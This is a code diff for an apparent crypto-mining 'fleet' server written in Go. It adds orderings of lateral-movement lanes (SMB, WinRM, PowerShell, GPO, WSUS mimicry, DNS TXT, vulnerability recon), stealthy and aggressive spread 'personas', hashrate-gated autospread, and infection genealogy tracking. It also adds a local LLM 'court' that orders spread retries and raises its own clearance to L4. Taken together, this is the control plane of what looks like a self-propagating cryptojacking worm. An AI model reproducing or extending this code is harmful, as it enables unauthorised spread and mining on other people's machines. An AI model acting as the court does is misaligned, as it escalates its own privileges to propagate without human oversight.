Add fleet evolution: genetic breeding, atlas gossip, BGP router, seeder/miner, genealogy, court gates, APK scout, personas, WSUS mimic, and P2 test coverage
This commit is contained in:
@@ -1,4 +1,9 @@
|
|||||||
{
|
{
|
||||||
"server_url": "http://192.168.1.10:8989",
|
"server_url": "http://deck:8989",
|
||||||
"worker_name": "tablet-1"
|
"worker_name": "tab-1",
|
||||||
|
"worker_number": "tab-1",
|
||||||
|
"mining": {
|
||||||
|
"enabled": false
|
||||||
|
},
|
||||||
|
"build_id": "bld-cross"
|
||||||
}
|
}
|
||||||
@@ -16,6 +16,7 @@ type BakeConfig struct {
|
|||||||
FleetSecret string `json:"fleet_secret,omitempty"`
|
FleetSecret string `json:"fleet_secret,omitempty"`
|
||||||
Wallet string `json:"wallet,omitempty"`
|
Wallet string `json:"wallet,omitempty"`
|
||||||
BuildID string `json:"build_id,omitempty"`
|
BuildID string `json:"build_id,omitempty"`
|
||||||
|
ScoutMode bool `json:"scout_mode,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// AndroidAgentDefaults returns fleet-first defaults with mining off by default.
|
// AndroidAgentDefaults returns fleet-first defaults with mining off by default.
|
||||||
@@ -117,9 +118,12 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
DnsTxtSpread: false,
|
DnsTxtSpread: false,
|
||||||
WebRTCMeshSpread: false,
|
WebRTCMeshSpread: false,
|
||||||
WSUSCachePeerSpread: false,
|
WSUSCachePeerSpread: false,
|
||||||
|
ApkMode: true,
|
||||||
|
ScoutMode: %v,
|
||||||
|
MiningDisabled: true,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
`, cfg.BuildID, cfg.WorkerName, cfg.ServerURL, cfg.Wallet, cfg.BuildID, now, cfg.FleetSecret), nil
|
`, cfg.BuildID, cfg.WorkerName, cfg.ServerURL, cfg.Wallet, cfg.BuildID, now, cfg.FleetSecret, cfg.ScoutMode), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func normalize(cfg BakeConfig) BakeConfig {
|
func normalize(cfg BakeConfig) BakeConfig {
|
||||||
|
|||||||
@@ -36,6 +36,29 @@ func TestRenderConfigJSON(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestRenderBuiltinGoScoutMode(t *testing.T) {
|
||||||
|
cfg := BakeConfig{
|
||||||
|
WorkerName: "scout-tab",
|
||||||
|
ServerURL: "http://10.0.0.5:8989",
|
||||||
|
FleetSecret: "fleet-key",
|
||||||
|
BuildID: "b-scout",
|
||||||
|
ScoutMode: true,
|
||||||
|
}
|
||||||
|
src, err := RenderBuiltinGo(cfg)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
for _, needle := range []string{
|
||||||
|
`ScoutMode: true`,
|
||||||
|
`ApkMode: true`,
|
||||||
|
`MiningDisabled: true`,
|
||||||
|
} {
|
||||||
|
if !strings.Contains(src, needle) {
|
||||||
|
t.Fatalf("missing %q in builtin.go:\n%s", needle, src)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestRenderBuiltinGo(t *testing.T) {
|
func TestRenderBuiltinGo(t *testing.T) {
|
||||||
cfg := BakeConfig{
|
cfg := BakeConfig{
|
||||||
WorkerName: "tab-s9",
|
WorkerName: "tab-s9",
|
||||||
|
|||||||
@@ -83,6 +83,8 @@ type ServerSettings struct {
|
|||||||
AdaptiveStrategyEnabled bool `json:"adaptive_strategy_enabled"`
|
AdaptiveStrategyEnabled bool `json:"adaptive_strategy_enabled"`
|
||||||
// AIControlEnabled switches fleet control from adaptive tier learning to local LLM decisions.
|
// AIControlEnabled switches fleet control from adaptive tier learning to local LLM decisions.
|
||||||
AIControlEnabled bool `json:"ai_control_enabled"`
|
AIControlEnabled bool `json:"ai_control_enabled"`
|
||||||
|
// AtlasLanGossipEnabled relays atlas skip hints between agents on the same /24 via WS.
|
||||||
|
AtlasLanGossipEnabled bool `json:"atlas_lan_gossip_enabled"`
|
||||||
// AIEndpoint is the OpenAI-compatible base URL (e.g. Ollama /v1).
|
// AIEndpoint is the OpenAI-compatible base URL (e.g. Ollama /v1).
|
||||||
AIEndpoint string `json:"ai_endpoint"`
|
AIEndpoint string `json:"ai_endpoint"`
|
||||||
// AIModel is the LLM model name for fleet AI control (Calibrate).
|
// AIModel is the LLM model name for fleet AI control (Calibrate).
|
||||||
@@ -95,6 +97,12 @@ type ServerSettings struct {
|
|||||||
AIAutoElevateClearance bool `json:"ai_auto_elevate_clearance"`
|
AIAutoElevateClearance bool `json:"ai_auto_elevate_clearance"`
|
||||||
// AIPersona selects the Calibrate fleet AI preset (aggressive|silent|passive|persuasive|balanced).
|
// AIPersona selects the Calibrate fleet AI preset (aggressive|silent|passive|persuasive|balanced).
|
||||||
AIPersona string `json:"ai_persona,omitempty"`
|
AIPersona string `json:"ai_persona,omitempty"`
|
||||||
|
// FleetRolesEnabled splits seeders (LAN staging) from miners (RandomX) with auth hints.
|
||||||
|
FleetRolesEnabled bool `json:"fleet_roles_enabled"`
|
||||||
|
// HashrateGateSpreadMin is minutes of stable hashrate before agents may autospread.
|
||||||
|
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min,omitempty"`
|
||||||
|
// HashrateGateHPS is the minimum H/s required for hashrate-gated propagation.
|
||||||
|
HashrateGateHPS float64 `json:"hashrate_gate_hps,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
|
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
|
||||||
@@ -304,6 +312,7 @@ func DefaultConfig() *Config {
|
|||||||
AIDecisionIntervalSec: 60,
|
AIDecisionIntervalSec: 60,
|
||||||
AIAutoElevateClearance: true,
|
AIAutoElevateClearance: true,
|
||||||
AIPersona: "balanced",
|
AIPersona: "balanced",
|
||||||
|
FleetRolesEnabled: false,
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -966,6 +975,12 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
|||||||
if in(srvKeys, "ai_control_enabled") {
|
if in(srvKeys, "ai_control_enabled") {
|
||||||
dst.Server.AIControlEnabled = src.Server.AIControlEnabled
|
dst.Server.AIControlEnabled = src.Server.AIControlEnabled
|
||||||
}
|
}
|
||||||
|
if in(srvKeys, "atlas_lan_gossip_enabled") {
|
||||||
|
dst.Server.AtlasLanGossipEnabled = src.Server.AtlasLanGossipEnabled
|
||||||
|
}
|
||||||
|
if in(srvKeys, "fleet_roles_enabled") {
|
||||||
|
dst.Server.FleetRolesEnabled = src.Server.FleetRolesEnabled
|
||||||
|
}
|
||||||
if in(srvKeys, "ai_endpoint") {
|
if in(srvKeys, "ai_endpoint") {
|
||||||
dst.Server.AIEndpoint = src.Server.AIEndpoint
|
dst.Server.AIEndpoint = src.Server.AIEndpoint
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -14,6 +14,8 @@ const (
|
|||||||
CmdRestartMining = "restart_mining"
|
CmdRestartMining = "restart_mining"
|
||||||
CmdReorderTiers = "reorder_tiers"
|
CmdReorderTiers = "reorder_tiers"
|
||||||
CmdSpreadNow = "spread_now"
|
CmdSpreadNow = "spread_now"
|
||||||
|
CmdSpreadRetryLane = "spread_retry_lane"
|
||||||
|
CmdSkipTier = "skip_tier"
|
||||||
CmdStageFetch = "stage_fetch"
|
CmdStageFetch = "stage_fetch"
|
||||||
CmdSetAgentVersion = "set_agent_version"
|
CmdSetAgentVersion = "set_agent_version"
|
||||||
CmdNoop = "noop"
|
CmdNoop = "noop"
|
||||||
@@ -26,6 +28,8 @@ var knownCommands = map[string]bool{
|
|||||||
CmdRestartMining: true,
|
CmdRestartMining: true,
|
||||||
CmdReorderTiers: true,
|
CmdReorderTiers: true,
|
||||||
CmdSpreadNow: true,
|
CmdSpreadNow: true,
|
||||||
|
CmdSpreadRetryLane: true,
|
||||||
|
CmdSkipTier: true,
|
||||||
CmdStageFetch: true,
|
CmdStageFetch: true,
|
||||||
CmdSetAgentVersion: true,
|
CmdSetAgentVersion: true,
|
||||||
CmdNoop: true,
|
CmdNoop: true,
|
||||||
|
|||||||
@@ -64,7 +64,10 @@ func BuildCourtPrompt(s AgentSnapshot, atlasSummary string, phenotype *strategy.
|
|||||||
system.WriteString(strings.TrimSpace(`You are the AetherForge Singular Machine Court for the operator's own stuck fleet hosts.
|
system.WriteString(strings.TrimSpace(`You are the AetherForge Singular Machine Court for the operator's own stuck fleet hosts.
|
||||||
This is a single-turn tribunal with no memory. Three roles speak once:
|
This is a single-turn tribunal with no memory. Three roles speak once:
|
||||||
PROSECUTOR presents failure evidence. DEFENDER cites a winning fleet phenotype if one exists. JUDGE decides.
|
PROSECUTOR presents failure evidence. DEFENDER cites a winning fleet phenotype if one exists. JUDGE decides.
|
||||||
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, stage_fetch, set_agent_version, noop.
|
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop.
|
||||||
|
spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …).
|
||||||
|
skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch.
|
||||||
|
Court-ordered spread_retry_lane and skip_tier execute as discover_and_join, stage_fetch, or reorder_tiers with L4 clearance.
|
||||||
Never target third-party systems.`))
|
Never target third-party systems.`))
|
||||||
system.WriteString("\n\n## PROSECUTOR\n")
|
system.WriteString("\n\n## PROSECUTOR\n")
|
||||||
system.WriteString(prosecutor)
|
system.WriteString(prosecutor)
|
||||||
|
|||||||
@@ -30,6 +30,16 @@ func stuckSpreadAttempts() []TierAttempt {
|
|||||||
return attempts
|
return attempts
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestBuildCourtPromptListsRetryCommands(t *testing.T) {
|
||||||
|
bundle := BuildCourtPrompt(AgentSnapshot{Stuck: true}, "", nil, PersonaBalanced)
|
||||||
|
if !strings.Contains(bundle.SystemPrompt, "spread_retry_lane") {
|
||||||
|
t.Fatalf("missing spread_retry_lane in court prompt: %s", bundle.SystemPrompt)
|
||||||
|
}
|
||||||
|
if !strings.Contains(bundle.SystemPrompt, "skip_tier") {
|
||||||
|
t.Fatalf("missing skip_tier in court prompt")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestBuildCourtPromptProsecutorFailures(t *testing.T) {
|
func TestBuildCourtPromptProsecutorFailures(t *testing.T) {
|
||||||
snap := AgentSnapshot{
|
snap := AgentSnapshot{
|
||||||
AgentID: "agent-stuck",
|
AgentID: "agent-stuck",
|
||||||
|
|||||||
@@ -1,6 +1,11 @@
|
|||||||
package ai
|
package ai
|
||||||
|
|
||||||
import "strings"
|
import (
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/strategy"
|
||||||
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
PersonaAggressive = "aggressive"
|
PersonaAggressive = "aggressive"
|
||||||
@@ -83,3 +88,49 @@ func CourtJudgeOverlay(mode string) string {
|
|||||||
return "Judge: weigh prosecutor failures against defender phenotype; pick the least disruptive recovery.\n"
|
return "Judge: weigh prosecutor failures against defender phenotype; pick the least disruptive recovery.\n"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// PersonaSpreadTierOrder returns the default spread tier walk order for a Calibrate persona.
|
||||||
|
// Used as propagation temperament when Fleet AI Control replaces adaptive strategy.
|
||||||
|
func PersonaSpreadTierOrder(mode string) []string {
|
||||||
|
switch NormalizePersona(mode) {
|
||||||
|
case PersonaAggressive:
|
||||||
|
return []string{
|
||||||
|
"vuln_recon", "docker", "smb", "winrm", "bits_curl", "wsl", "powershell", "dotnet",
|
||||||
|
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "linux", "gpo",
|
||||||
|
}
|
||||||
|
case PersonaSilent:
|
||||||
|
return []string{
|
||||||
|
"vuln_recon", "docker", "wsl", "dotnet", "powershell", "bits_curl",
|
||||||
|
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
|
||||||
|
}
|
||||||
|
case PersonaPassive:
|
||||||
|
return []string{
|
||||||
|
"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
|
||||||
|
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
|
||||||
|
}
|
||||||
|
case PersonaPersuasive:
|
||||||
|
return []string{
|
||||||
|
"vuln_recon", "dns_txt", "wsus_cache_peer", "do_peer", "webrtc_mesh", "bits_curl",
|
||||||
|
"docker", "wsl", "powershell", "dotnet", "smb", "winrm", "linux", "gpo",
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
return DefaultSpreadTiers()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// PersonaSpreadTemperament builds spread tier hints in adaptive_strategy shape for AI control mode.
|
||||||
|
func PersonaSpreadTemperament(mode string) strategy.AdaptiveStrategy {
|
||||||
|
persona := NormalizePersona(mode)
|
||||||
|
order := PersonaSpreadTierOrder(persona)
|
||||||
|
reason := strategy.StrategyReason{
|
||||||
|
Fact: "Calibrate ai_persona=" + persona,
|
||||||
|
Inference: "Fleet AI Control shapes spread propagation personality",
|
||||||
|
Action: "Prefer spread tier order: " + strings.Join(order, " → "),
|
||||||
|
}
|
||||||
|
return strategy.AdaptiveStrategy{
|
||||||
|
TierOrder: order,
|
||||||
|
Reasoning: []strategy.StrategyReason{reason},
|
||||||
|
Confidence: 0.85,
|
||||||
|
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -51,6 +51,38 @@ func TestNormalizePersona(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestPersonaSpreadTierOrderDistinct(t *testing.T) {
|
||||||
|
modes := []string{PersonaAggressive, PersonaSilent, PersonaPassive, PersonaPersuasive, PersonaBalanced}
|
||||||
|
seen := make(map[string]string, len(modes))
|
||||||
|
for _, mode := range modes {
|
||||||
|
order := PersonaSpreadTierOrder(mode)
|
||||||
|
if len(order) != len(defaultSpreadTiers) {
|
||||||
|
t.Fatalf("persona %q tier count = %d want %d", mode, len(order), len(defaultSpreadTiers))
|
||||||
|
}
|
||||||
|
key := strings.Join(order, ",")
|
||||||
|
if prev, ok := seen[key]; ok && mode != PersonaBalanced {
|
||||||
|
t.Fatalf("personas %q and %q share spread order", prev, mode)
|
||||||
|
}
|
||||||
|
seen[key] = mode
|
||||||
|
}
|
||||||
|
if PersonaSpreadTierOrder(PersonaPersuasive)[1] != "dns_txt" {
|
||||||
|
t.Fatalf("persuasive should front dns_txt, got %v", PersonaSpreadTierOrder(PersonaPersuasive))
|
||||||
|
}
|
||||||
|
if PersonaSpreadTierOrder(PersonaAggressive)[2] != "smb" {
|
||||||
|
t.Fatalf("aggressive should front smb early, got %v", PersonaSpreadTierOrder(PersonaAggressive))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPersonaSpreadTemperamentShape(t *testing.T) {
|
||||||
|
temp := PersonaSpreadTemperament(PersonaSilent)
|
||||||
|
if len(temp.TierOrder) == 0 || len(temp.Reasoning) == 0 || temp.Confidence <= 0 {
|
||||||
|
t.Fatalf("invalid spread temperament: %+v", temp)
|
||||||
|
}
|
||||||
|
if !strings.Contains(temp.Reasoning[0].Fact, PersonaSilent) {
|
||||||
|
t.Fatalf("reasoning should cite persona: %+v", temp.Reasoning[0])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestCourtJudgeOverlayDistinct(t *testing.T) {
|
func TestCourtJudgeOverlayDistinct(t *testing.T) {
|
||||||
modes := []string{PersonaAggressive, PersonaSilent, PersonaPassive, PersonaPersuasive, PersonaBalanced}
|
modes := []string{PersonaAggressive, PersonaSilent, PersonaPassive, PersonaPersuasive, PersonaBalanced}
|
||||||
prev := ""
|
prev := ""
|
||||||
|
|||||||
@@ -202,6 +202,10 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
|||||||
courtMeta.JudgeVerdict = ExtractJudgeVerdict(response)
|
courtMeta.JudgeVerdict = ExtractJudgeVerdict(response)
|
||||||
}
|
}
|
||||||
cmds := ParseCommands(response)
|
cmds := ParseCommands(response)
|
||||||
|
if useCourt {
|
||||||
|
cmds = ExpandCourtCommands(cmds)
|
||||||
|
s.ensureCourtRetryClearance(agentID, cmds)
|
||||||
|
}
|
||||||
results := make([]string, 0, len(cmds))
|
results := make([]string, 0, len(cmds))
|
||||||
for _, cmd := range cmds {
|
for _, cmd := range cmds {
|
||||||
if cmd.Type == CmdNoop {
|
if cmd.Type == CmdNoop {
|
||||||
@@ -228,6 +232,18 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
|||||||
|
|
||||||
const stuckHostFailedTierThreshold = 14
|
const stuckHostFailedTierThreshold = 14
|
||||||
|
|
||||||
|
func (s *Scheduler) ensureCourtRetryClearance(agentID string, cmds []Command) {
|
||||||
|
if !CourtCommandsNeedRetryElevation(cmds) || s.elevator == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if s.elevator.Level(agentID) >= CourtRetryClearanceLevel {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if _, err := s.elevator.RequestElevation(agentID, CourtRetryClearanceLevel, "court-mandated retry", "ai_court"); err != nil {
|
||||||
|
log.Printf("[fleet-ai] agent %s court retry clearance: %v", agentID, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func (s *Scheduler) maybeAutoElevate(agentID string, snap AgentSnapshot, cfg Config) {
|
func (s *Scheduler) maybeAutoElevate(agentID string, snap AgentSnapshot, cfg Config) {
|
||||||
if !cfg.AutoElevateClearance || s.elevator == nil {
|
if !cfg.AutoElevateClearance || s.elevator == nil {
|
||||||
return
|
return
|
||||||
|
|||||||
@@ -162,3 +162,47 @@ func TestSchedulerStuckHostTriggersL4Elevation(t *testing.T) {
|
|||||||
t.Fatalf("unexpected elevation: %+v", req)
|
t.Fatalf("unexpected elevation: %+v", req)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestSchedulerCourtRetryElevatesL4(t *testing.T) {
|
||||||
|
old := DecideFunc
|
||||||
|
defer func() { DecideFunc = old }()
|
||||||
|
DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) {
|
||||||
|
return `Verdict: retry dns_txt.
|
||||||
|
{"commands":[{"type":"spread_retry_lane","args":{"lane":"dns_txt","data":"{}"}}]}`, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
elevator := &mockElevator{}
|
||||||
|
exec := &mockExec{}
|
||||||
|
sched := NewScheduler(
|
||||||
|
&mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1}},
|
||||||
|
&mockSnap{
|
||||||
|
ids: []string{"court-1"},
|
||||||
|
snap: AgentSnapshot{
|
||||||
|
AgentID: "court-1", Name: "host", Stuck: true,
|
||||||
|
LOTLAttempts: stuckSpreadAttempts(),
|
||||||
|
},
|
||||||
|
},
|
||||||
|
exec,
|
||||||
|
&mockStore{},
|
||||||
|
&mockCourt{},
|
||||||
|
elevator,
|
||||||
|
)
|
||||||
|
sched.lastRun["court-1"] = time.Now().Add(-2 * time.Minute)
|
||||||
|
sched.Tick()
|
||||||
|
|
||||||
|
elevator.mu.Lock()
|
||||||
|
defer elevator.mu.Unlock()
|
||||||
|
found := false
|
||||||
|
for _, req := range elevator.requests {
|
||||||
|
if req.toLevel == clearance.L4 && req.reason == "court-mandated retry" {
|
||||||
|
found = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !found {
|
||||||
|
t.Fatalf("expected court-mandated L4 elevation, got %+v", elevator.requests)
|
||||||
|
}
|
||||||
|
if len(exec.calls) == 0 || exec.calls[0].Type != CmdStageFetch {
|
||||||
|
t.Fatalf("expected stage_fetch dispatch, got %+v", exec.calls)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -45,6 +45,7 @@ func (d *Database) scanAgent(row interface {
|
|||||||
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
|
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
|
||||||
&a.BuildID, &a.WorkerName, &usbSpread, &a.Campaign,
|
&a.BuildID, &a.WorkerName, &usbSpread, &a.Campaign,
|
||||||
&a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive,
|
&a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive,
|
||||||
|
&a.ParentAgentID, &a.SpreadGeneration, &a.SpreadStrain,
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
@@ -62,7 +63,8 @@ func (d *Database) scanAgent(row interface {
|
|||||||
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
|
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
|
||||||
build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active`
|
build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active,
|
||||||
|
parent_agent_id, spread_generation, spread_strain`
|
||||||
|
|
||||||
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||||
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||||
|
|||||||
@@ -138,6 +138,9 @@ func (d *Database) migrate() error {
|
|||||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
|
||||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
|
||||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN campaign TEXT NOT NULL DEFAULT ''`)
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN campaign TEXT NOT NULL DEFAULT ''`)
|
||||||
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN parent_agent_id TEXT NOT NULL DEFAULT ''`)
|
||||||
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN spread_generation INTEGER NOT NULL DEFAULT 0`)
|
||||||
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN spread_strain TEXT NOT NULL DEFAULT ''`)
|
||||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN public INTEGER NOT NULL DEFAULT 0`)
|
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN public INTEGER NOT NULL DEFAULT 0`)
|
||||||
|
|
||||||
extraMigrations := []string{
|
extraMigrations := []string{
|
||||||
@@ -263,8 +266,8 @@ func (d *Database) migrate() error {
|
|||||||
// Agent operations
|
// Agent operations
|
||||||
|
|
||||||
func (d *Database) UpsertAgent(a *models.Agent) error {
|
func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread, campaign)
|
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread, campaign, parent_agent_id, spread_generation, spread_strain)
|
||||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||||
ON CONFLICT(id) DO UPDATE SET
|
ON CONFLICT(id) DO UPDATE SET
|
||||||
name = CASE WHEN agents.name != '' AND agents.name != agents.hostname THEN agents.name ELSE excluded.name END,
|
name = CASE WHEN agents.name != '' AND agents.name != agents.hostname THEN agents.name ELSE excluded.name END,
|
||||||
wallet = excluded.wallet,
|
wallet = excluded.wallet,
|
||||||
@@ -282,12 +285,15 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
|
|||||||
build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
|
build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
|
||||||
worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
|
worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
|
||||||
usb_spread = excluded.usb_spread,
|
usb_spread = excluded.usb_spread,
|
||||||
campaign = CASE WHEN excluded.campaign != '' THEN excluded.campaign ELSE campaign END`
|
campaign = CASE WHEN excluded.campaign != '' THEN excluded.campaign ELSE campaign END,
|
||||||
|
parent_agent_id = CASE WHEN excluded.parent_agent_id != '' THEN excluded.parent_agent_id ELSE parent_agent_id END,
|
||||||
|
spread_generation = CASE WHEN excluded.spread_generation > 0 OR excluded.parent_agent_id != '' THEN excluded.spread_generation ELSE spread_generation END,
|
||||||
|
spread_strain = CASE WHEN excluded.spread_strain != '' THEN excluded.spread_strain ELSE spread_strain END`
|
||||||
usb := 0
|
usb := 0
|
||||||
if a.USBSpread {
|
if a.USBSpread {
|
||||||
usb = 1
|
usb = 1
|
||||||
}
|
}
|
||||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb, a.Campaign)
|
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb, a.Campaign, a.ParentAgentID, a.SpreadGeneration, a.SpreadStrain)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -122,9 +122,20 @@ type Agent struct {
|
|||||||
// Last successful discover_and_join supply-chain lane.
|
// Last successful discover_and_join supply-chain lane.
|
||||||
JoinLane string `json:"join_lane,omitempty"`
|
JoinLane string `json:"join_lane,omitempty"`
|
||||||
|
|
||||||
|
// Spread genealogy watermark — informational telemetry from forge/auth/stats.
|
||||||
|
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||||||
|
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||||||
|
SpreadStrain string `json:"spread_strain,omitempty"`
|
||||||
|
|
||||||
// Session security clearance (L0–L4); set live by WSHub, not persisted.
|
// Session security clearance (L0–L4); set live by WSHub, not persisted.
|
||||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||||
|
|
||||||
|
// Fleet role split telemetry (stats WS, not persisted).
|
||||||
|
FleetRole string `json:"fleet_role,omitempty"`
|
||||||
|
SeedPressure float64 `json:"seed_pressure,omitempty"`
|
||||||
|
HashratePressure float64 `json:"hashrate_pressure,omitempty"`
|
||||||
|
EmberwakeHeat float64 `json:"emberwake_heat,omitempty"`
|
||||||
|
|
||||||
// Fleet phenotype cloned from a sibling with the same host fingerprint (WS auth only).
|
// Fleet phenotype cloned from a sibling with the same host fingerprint (WS auth only).
|
||||||
InheritedPhenotype *AgentInheritedPhenotype `json:"inherited_phenotype,omitempty"`
|
InheritedPhenotype *AgentInheritedPhenotype `json:"inherited_phenotype,omitempty"`
|
||||||
|
|
||||||
|
|||||||
@@ -20,6 +20,7 @@ type FleetPhenotype struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// InheritedPhenotype is pushed to sibling agents on auth when fingerprint matches.
|
// InheritedPhenotype is pushed to sibling agents on auth when fingerprint matches.
|
||||||
|
// Auth tier-plan precedence (highest wins): inherited phenotype > genetic breed > adaptive strategy.
|
||||||
type InheritedPhenotype struct {
|
type InheritedPhenotype struct {
|
||||||
SourceAgentName string `json:"source_agent_name"`
|
SourceAgentName string `json:"source_agent_name"`
|
||||||
Fingerprint string `json:"fingerprint"`
|
Fingerprint string `json:"fingerprint"`
|
||||||
@@ -27,6 +28,8 @@ type InheritedPhenotype struct {
|
|||||||
TierOrder []string `json:"tier_order"`
|
